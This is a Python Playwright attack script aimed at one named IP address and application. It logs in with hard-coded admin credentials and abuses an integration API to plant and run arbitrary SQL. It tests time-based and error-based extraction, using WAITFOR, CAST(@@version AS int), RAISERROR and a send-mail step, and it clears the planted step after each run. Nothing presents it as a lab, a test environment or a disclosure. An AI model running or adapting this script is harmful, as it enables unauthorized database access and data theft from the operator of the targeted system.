#!/usr/bin/env python3
"""Test on 66.175.236.165 where SQL execution was proven to work."""
import asyncio, re, time
from playwright.async_api import async_playwright

IP = "66.175.236.165"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1, conn_id=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:''' + str(conn_id) + ''', intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intConnectionId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", ""
            await asyncio.sleep(2)
            t0 = time.time()
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            t1 = time.time()
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            elapsed = t1 - t0
            print(f"    {name}: success={s} msg={m[:200]} elapsed={elapsed:.1f}s", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConnectionId:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # Test 1: Control — SELECT 1
        print("\n=== Test 1: SELECT 1 ===")
        await run_step("select1", "SELECT 1")
        await asyncio.sleep(2)

        # Test 2: WAITFOR 5s — does it delay?
        print("\n=== Test 2: WAITFOR 5s ===")
        await run_step("waitfor5", "WAITFOR DELAY '00:00:05'")
        await asyncio.sleep(2)

        # Test 3: Divide by zero — does it error?
        print("\n=== Test 3: 1/0 ===")
        await run_step("divzero", "SELECT 1/0")
        await asyncio.sleep(2)

        # Test 4: CAST(@@version AS int) — error-based exfil
        print("\n=== Test 4: CAST(@@version AS int) ===")
        await run_step("version_err", "SELECT CAST(@@version AS int)")
        await asyncio.sleep(2)

        # Test 5: Invalid SQL
        print("\n=== Test 5: Invalid SQL ===")
        await run_step("invalid", "SELECT FROM WHERE")
        await asyncio.sleep(2)

        # Test 6: RAISERROR
        print("\n=== Test 6: RAISERROR ===")
        await run_step("raiserror", "RAISERROR('CUSTOM_DATA', 16, 1)")
        await asyncio.sleep(2)

        # Test 7: Send Mail with CAST error
        print("\n=== Test 7: Send Mail CAST error ===")
        await run_step("sendmail_err", "SELECT CAST(@@servername AS int)", step_type=9)
        await asyncio.sleep(2)

        # Test 8: Send Mail with valid SQL
        print("\n=== Test 8: Send Mail valid ===")
        await run_step("sendmail_ok", "SELECT 'HELLO_FROM_CUSTOMER'", step_type=9)
        await asyncio.sleep(2)

        await browser.close()

asyncio.run(main())
